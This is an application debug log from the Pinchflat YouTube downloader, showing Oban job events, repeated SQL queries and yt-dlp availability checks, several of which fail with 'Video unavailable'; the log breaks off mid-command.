{"args":{"id":90892},"id":7283,"meta":{},"system_time":1780530294316761553,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:54.317 [debug] QUERY OK source="media_items" db=0.7ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 19:44:54.317 [debug] QUERY OK source="media_items" db=0.9ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 19:44:54.317 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:54.318 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:54.318 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7287, 31, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.318 [debug] QUERY OK source="sources" db=0.3ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.318 [info] {"args":{"id":31},"id":7270,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":76357581,"event":"job:stop","queue_time":893250,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:44:54.318 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.319 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:54.319 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:54.319 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90892] 19:44:54.319 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90767] 19:44:54.320 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90892] 19:44:54.320 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:54.321 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90767] 19:44:54.321 [debug] QUERY OK source="settings" db=0.4ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.321 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:54.321 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.321 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.321 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:54.321 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.322 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:54.322 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.322 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.322 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.322 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFrSMx11Tsk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/7b/727bb164406c632b2fbf5ecdb325cd4961842f49e15509ad4820aa27eacaaf01.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:54.323 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.323 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.323 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.323 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PwikML12sQQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/44/684417262e83a6adfdb456d16a262f3495a093d48ca6f36cd06313967e964fd5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:55.679 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PwikML12sQQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/44/684417262e83a6adfdb456d16a262f3495a093d48ca6f36cd06313967e964fd5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] PwikML12sQQ: Video unavailable 19:44:55.679 [error] yt-dlp download error for media item #90767: "ERROR: [youtube] PwikML12sQQ: Video unavailable\n" 19:44:55.679 [error] yt-dlp download will not be retried: "ERROR: [youtube] PwikML12sQQ: Video unavailable\n" 19:44:55.680 [info] {"args":{"id":90767},"id":7282,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1363171,"event":"job:stop","queue_time":315365,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:55.687 [info] {"args":{"id":90894},"id":7284,"meta":{},"system_time":1780530295687055613,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:55.687 [debug] QUERY OK source="media_items" db=0.1ms idle=1363.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 19:44:55.687 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:55.687 [debug] QUERY OK source="sources" db=0.1ms idle=1362.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:55.688 [debug] QUERY OK source="media_profiles" db=0.2ms idle=617.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:55.688 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90894] 19:44:55.689 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90894] 19:44:55.689 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:55.689 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.690 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.690 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:55.690 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.690 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.691 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.691 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=EcNIYfYhbi0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/78/4f78979b5303224c23ab20cd14283c4e2c63833fbf972d70b4f25547b15de3fc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:55.759 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFrSMx11Tsk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/7b/727bb164406c632b2fbf5ecdb325cd4961842f49e15509ad4820aa27eacaaf01.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] XFrSMx11Tsk: Video unavailable 19:44:55.760 [error] yt-dlp download error for media item #90892: "ERROR: [youtube] XFrSMx11Tsk: Video unavailable\n" 19:44:55.760 [error] yt-dlp download will not be retried: "ERROR: [youtube] XFrSMx11Tsk: Video unavailable\n" 19:44:55.760 [info] {"args":{"id":90892},"id":7283,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1443445,"event":"job:stop","queue_time":315365,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:55.766 [info] {"args":{"id":90907},"id":7285,"meta":{},"system_time":1780530295766915391,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:55.767 [debug] QUERY OK source="media_items" db=0.2ms idle=76.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 19:44:55.767 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:55.767 [debug] QUERY OK source="sources" db=0.2ms idle=76.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:55.768 [debug] QUERY OK source="media_profiles" db=0.2ms idle=76.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:55.768 [debug] QUERY OK source="media_items" db=0.3ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90907] 19:44:55.769 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90907] 19:44:55.769 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:55.769 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.769 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.770 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:55.770 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.771 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.771 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:55.771 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CM6mOyxvwlo --simulate --skip-download --print-to-file %(.{live_status})j 